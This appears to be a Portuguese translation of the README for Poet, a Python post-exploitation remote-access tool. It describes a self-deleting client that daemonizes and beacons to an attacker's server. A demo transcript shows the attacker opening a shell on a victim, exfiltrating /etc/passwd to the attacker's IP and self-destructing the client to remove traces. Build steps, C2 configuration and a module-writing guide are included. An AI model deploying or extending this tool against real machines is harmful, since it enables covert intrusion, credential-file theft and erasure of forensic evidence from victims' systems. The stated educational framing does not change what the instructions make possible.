offlinemark/poet[não mantido] Ferramenta de pós-exploração
Uma simples ferramenta de Pós-Exploração.
O programa cliente é executado na máquina alvo e é configurado com um endereço IP (o servidor) para se conectar e uma frequência de conexão. Se o servidor não estiver em execução quando o cliente tentar se conectar, o cliente aguarda silenciosamente e tenta novamente no próximo intervalo. Se o servidor estiver em execução, no entanto, o atacante obtém um shell de controle para controlar o cliente e realizar várias ações no alvo, incluindo:
Esta é apenas uma pequena amostra do que o Poet pode fazer. O cenário é: um atacante obteve acesso à máquina da vítima e baixou e executou o cliente. Ela não está executando o servidor neste momento, mas não tem problema, o cliente espera pacientemente. Eventualmente, o atacante está pronto e inicia o servidor, primeiro iniciando um shell e executando uname -a, depois exfiltrando /etc/passwd. Em seguida, sai e se desconecta do cliente, que continua executando no alvo aguardando a próxima oportunidade de se conectar ao servidor. Mais tarde, ela se conecta novamente, autodestruindo o cliente, removendo todos os vestígios do alvo.
Máquina da Vítima (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
Aviso: Após executar este comando, você precisará executar
selfdestructa partir do servidor ou encerrar o processopoet-clientpara parar o cliente.
Máquina do Atacante (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
Acesse a página de releases e baixe os arquivos mais recentes de poet-client e poet-server disponíveis.
Em seguida, vá para a seção Uso abaixo.
Alternativamente, você pode compilar o Poet você mesmo (é bem fácil, veja abaixo).
Certifique-se de ter os executáveis python2.7 e zip disponíveis.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
Isso criará um diretório bin/ que contém poet-client e poet-server.
Poet é super fácil de usar e não requer nada além da biblioteca padrão do Python (2.7). Para testá-lo facilmente, uma invocação típica seria:
Terminal 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
Por padrão, o cliente Poet se torna um daemon e se exclui do disco, então esse comportamento é suprimido usando as flags
--debuge--no-selfdestruct.
Terminal 2:
$ sudo ./poet-server
Por padrão, o servidor precisa ser executado como root (usando
sudo) porque a porta padrão à qual ele se liga é 443. Se isso te incomoda, simplesmente omitasudoe use a flag-p <PORT>tanto no cliente quanto no servidor. Escolha um número alto para sua porta (> 1024).
O arquivo common/config.py contém várias configurações opcionais para compilações do Poet.
AUTH: Token de autenticação secreto compartilhado entre cliente e servidor para autenticação do cliente. Observe que o padrão é qualquer coisa menos secreto. Para qualquer uso que não seja de teste, é recomendável alterá-lo para um valor não adivinhável. Observe que os pacotes pré-construídos usam o token de autenticação público padrão.ARCHIVE_DIR: Diretório usado pelo servidor para armazenar arquivos (saída de exec, exfil, recon, etc).SERVER_IP: Endereço IP do servidor.BEACON_INTERVAL: Segundos entre beacons do cliente para o servidor.As configurações SERVER_IP e BEACON_INTERVAL permitem que informações anteriormente necessárias em argumentos de linha de comando sejam incorporadas nos executáveis finais, de modo que o executável final possa simplesmente ser executado sem argumentos. Valores None para qualquer um deles faz com que revertam ao comportamento padrão (argumento de linha de comando necessário para SERVER_IP, argumento de linha de comando opcional para BEACON_INTERVAL).
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet é uma aplicação cliente/servidor. O cliente é executado no alvo e envia beacons de volta para o servidor em um determinado intervalo de tempo. O único argumento necessário é o endereço IP onde o servidor está ou estará em execução. Opcionalmente, pode ser seguido pelo intervalo de tempo em segundos de quão frequentemente enviar beacons, que por padrão é de 10 minutos. A porta para o cliente enviar beacons pode ser especificada com a flag -p. Todas as outras flags não seriam usadas durante o uso "real" e existem principalmente para depuração.
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
O servidor é executado na própria máquina do usuário e escuta por beacons do cliente. Por padrão, ele escuta em uma porta privilegiada (443) e deve ser executado com privilégios (que são rapidamente descartados após a ligação). A flag -p pode ser usada para contornar isso selecionando uma porta não privilegiada para escutar (>1024).
Poet é altamente extensível através de seu framework de módulos; na verdade, quase todos os comandos disponíveis no shell posh são implementados como módulos. Eles podem ser visualizados no diretório common/modules/. O arquivo common/modules/template.py serve como um exemplo básico de módulo, para ser usado como ponto de partida. Para adicionar um módulo Poet, basta colocá-lo no diretório common/modules/ e recompilar o Poet usando make.
Aqui está um exemplo simples de módulo mostrando comunicação básica entre o cliente e o servidor. O módulo registra um comando posh, envia uma string, o cliente a inverte e a envia de volta, e o servidor a imprime.
# Note: this module doesn't check if an argv[1] was given
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
O módulo começa com
import module
Isso é necessário para se registrar no framework de módulos.
A próxima seção é o componente do lado do servidor do módulo.
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
O decorador @module.server_handler() é usado para registrar um comando posh passando o nome do comando como parâmetro do decorador e definindo uma função de tratamento para executar quando o comando é executado. A função de tratamento deve aceitar dois parâmetros. Um é a instância do PoetServer que chamou o módulo, e o outro é a string de comando inserida, representada como uma lista de argumentos. A instância do servidor existe para que o módulo possa usar funções auxiliares para se comunicar com o cliente, escrever arquivos no diretório de arquivamento, etc. O módulo usa server.conn.exchange() para enviar a linha de comando inserida como uma string para o cliente e obter a resposta como valor de retorno.
O componente do lado do cliente do módulo vem a seguir.
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
O decorador @module.client_handler() é usado para registrar uma tarefa para o cliente reagir e processar. Como o cliente e o servidor se comunicam passando strings entre si, a primeira parte da string é a palavra-chave para uma tarefa específica. O módulo registra uma função de tratamento do cliente para executar quando uma mensagem chega do servidor começando com 'reverse'. Semelhante ao tratamento do servidor, o tratamento do cliente deve aceitar parâmetros para a instância do PoetClient que o chamou e a string de entrada passada do servidor. O cliente então usa a função client.s.send() para enviar dados de volta ao servidor, neste caso, o primeiro argumento, invertido.
Na prática, fica assim
posh > reverse poet
Sending: poet
Received: teop
Preocupações documentadas:
Estou construindo o Poet puramente para minha própria educação e experiência de aprendizado. O código está disponível gratuitamente porque acho que pode ser útil para outros interessados em aprender sobre esse tipo de coisa. Use-o com responsabilidade.